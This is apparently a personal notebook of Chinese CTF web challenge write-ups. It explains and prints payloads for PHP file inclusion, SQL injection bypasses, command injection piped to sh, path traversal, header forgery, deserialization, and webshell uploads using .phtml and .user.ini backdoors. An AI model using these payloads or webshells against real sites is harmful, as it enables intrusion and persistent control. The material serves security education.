此为个人的解题记录,只记录认为值得记录的题目。为记录方便,尽量不截图,不复述原题,随时更新。
[ACTF]
2020 新生赛 include
文件包含,利用伪协议base64编码来读取文件源码,得到被注释的flag
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
[BJDCTF]
2020 Easy MD5
涉及到一个知识点:
ffifdyop
这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c
,这个字符串前几位刚好是‘ or ‘6
,
而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是1 select * from 'admin' where password='' or '6xxxxx'
等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
该题GET password=ffifdyop
,得到新页面:
1 | <!-- |
与strcmp()
函数原理相同,由于md5函数不能处理数组,导致函数返回Null,两个空值相等。
所以GETa[]=1&b[]=2
,得到新页面:
1 |
|
同理,换成POST就好。
还有一个巧妙的绕过方法,可以找出md5值都是两个0e
开头的,php里面在做 ==
的时候会先把两边的类型转成一样的,因为是0e开头,php会认为它是科学技计数法,而0的多少次方都是0。
1 | 这样的值有: |
[GXYCTF]
2019 Ping Ping Ping
这道题进来只有一个ping命令,输入ip地址正常request。
后面加个ls,得到有flag.php
和index.php
两个文件。
Linux ls(英文全拼:list files)命令用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)。
用cat flag.php显示空格被过滤。
绕过空格的常用方法:
1 | {cat,flag.php} |
要是禁用cat的话可以用less、more、tac、ca\t等绕过。
试了几个,发现flag也被过滤,成功用cat$IFS$9index.php
看到了源码。
1 | ?php |
考虑如何来绕过flag,得到以下payload:
1 | ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
找flag文件:
1 | 127.0.0.1;find / -name flag |
2020 BackupFile
备份,index.php.bak
1 |
|
PHP的弱类型特性,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉。
[HCTF]
2018 WarmUp
本题主要在绕过几个if检查。
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中’?’前部分,存在则返回true
第四个if语句判断先url解码再截取的$page是否存在于$whitelist中,存在则返回true
所以我们要构造payload来使url解码后仍然是 ?
即%253f
。
由于不知道flag文件位置,使用相对路径一个一个尝试,最终得到payload:
1 | http://fa11c443-afb7-4ce7-9b4d-b4d3266118ee.node3.buuoj.cn/?file=source.php%253f../../../../ffffllllaaaagggg |
2018 admin
reference:https://www.cnblogs.com/chrysanthemum/p/11722351.html
reference:https://blog.csdn.net/weixin_44677409/article/details/100733581
参考上面资料,使用unicode欺骗来获得admin登录权限。
用下面的网站找到admin:ᴬᴰᴹᴵᴺ
,由于该题会将所有结果进行strtolower()
来转换成小写,在这样之后ᴬᴰᴹᴵᴺ
就会变成admin
,从而成功登录。
好像预期解是flask session伪造。
[极客大挑战]
2019 Http
http请求 headers 中的配置:
headers | 作用 |
---|---|
Accept | 指定客户端能够接收的内容类型,内容类型中的先后次序表示客户端接收的先后次序。 |
Accept-Language | 指定HTTP客户端浏览器用来展示返回信息所优先选择的语言。 |
Accept-Encoding | 指定客户端浏览器所能够支持的返回压缩格式。 |
Connection | 表示是否需要持久连接。如果web服务器端看到这里的值为“Keep-Alive”,或者看到请求使用的是HTTP 1.1(HTTP 1.1默认进行持久连接),它就可以减少下载所需要的时间。 |
Cookie | HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 |
Host | 请求的web服务器域名地址。 |
Referer | 包含一个URL,用户从该URL代表的页面出发访问当前请求的页面服务器端返回HTTP头部信息。 |
User-Agent | HTTP客户端运行的浏览器类型的详细信息。通过该头部信息,web服务器可以判断到当前HTTP请求的客户端浏览器类别。 |
页面中发现了secret.php
,访问后显示It doesn't come from 'https://www.Sycsecret.com'.
所以我们利用python,添加headers来满足要求:
1 | import requests |
得到信息:
1 | Please use "Syclover" browser |
添加headers:
1 | headers['User-Agent'] = "Syclover" |
得到:
1 | No!!! you can only read this locally!! |
伪造本地ip:
1 | headers['X-Forwarded-For'] = '127.0.0.1' |
得到flag。
2019PHP
私有类还要用python执行才行。
序列化:
1 |
|
2019 Upload
reference:https://www.cnblogs.com/yunqian2017/p/13308641.html
首先尝试上传,发现限制了文件的后缀名,没法上传.php
.php3
.php5
等php文件,但是这里没有过滤.phtml
,这是一个可以用html语法来实现php命令的后缀文件。
文件内容如下:
1 | <script language="php">eval($_REQUEST[test])</script> |
上传会显示It's not a image at all!
,那就在前面加个文件头:
1 | GITF89a<script language="php">eval($_REQUEST[test])</script> |
把content-type
修改为image/jpg
。
离谱的地方在于要盲猜文件保存路径来连接蚁剑,这里是/upload/1.phtml
。
2019 buyflag
抓包修改user=1
;
POST password=404a
(弱比较)
POST money=100000000
,显示太长了
科学计数法 money=1e9
,拿到flag
或者绕过strcmp()
函数,只要我们POST的是一个数组或object:money[]=100000000
,即可绕过验证。
[强网杯]
2019 随便注
[RoarCTF ]
2019 Easy Calc
进来是一个计算页面,输入字母会显示错误。源码中找到如下提示:
1 | $('#calc').submit(function(){ |
而查阅得知php字符串的解析特性:
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42”+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
所以我们构造url:
1 | http://node3.buuoj.cn:28751/calc.php? num=phpinfo() |
查询到f1agg文件。然后构造payload:
1 | http://node3.buuoj.cn:28751/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
[SUCTF]
2019 EasySQL
扫描可得源码,堆叠注入得知flag表。
reference:https://blog.csdn.net/qq_43678005/article/details/108101904
因此构造payload:*,1
。
或者通过堆叠注入,设置 sql_mode
的值为 PIPES_AS_CONCAT
,从而将 || 视为字符串的连接操作符而非或运算符,所以构造出来的payload为:1;set sql_mode=PIPES_AS_CONCAT;select 1
2019 checkin
该题为文件上传,这道题的重点在于,要利用.user.ini
来使图片格式的文件被php解析。
reference:https://www.cnblogs.com/wkzb/p/12286324.html
什么是.user.ini?
先从php.ini说起,php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,和.user.ini中设置。这里就提到了.user.ini,那么这是个什么配置文件?
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
所以可以理解为:.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
然后我们看到php.ini中的配置项,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。不过,我们仍然可以很容易地借助.user.ini文件来构造一个“后门”。
php配置项中auto_prepend_file具体意思是:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而配置项中auto_append_file也类似,只是在文件后面包含。
使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif
01.gif是要包含的文件。所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
哪些情况下可以用到这个姿势?
比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。
在这道题中,我们先上传一个.user.ini
文件,内容为:
1 | GIF89a |
然后再上传木马:
1 | GIF89a |
这里也可以是一句话木马,连蚁剑。由于该题在上传含有?的文件是会提示不允许含?
,所以我们用script来绕过了一下。
访问文件地址拿到flag。
[ZJCTF]
2019 NiZhuanSiWei
主要是伪协议和反序列化。
reference:https://jiulin.space/2021/01/02/php3/
题目:
1 |
|
file_get_contents
是读取文件中的字符串 ,不能直接GET,一般这种情况下,就要利用到data
伪协议来写入文件。可能有过滤,就直接base64编码了。payload:
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= |
后面这里不能直接读取flag,提示给了uselesss.php
,利用php
伪协议中的php://filter
来读取文件:
1 | ?file=php://filter/read=convert.base64-encode/resource=useless.php |
得到如下代码:
1 |
|
这里就简单了,反序列化直接把file属性值设为flag.php
:
1 | O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
于是构造完整的payload:
1 | http://4f9b10f1-69d5-4b66-b1d1-2b15bab7e939.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
得到flag。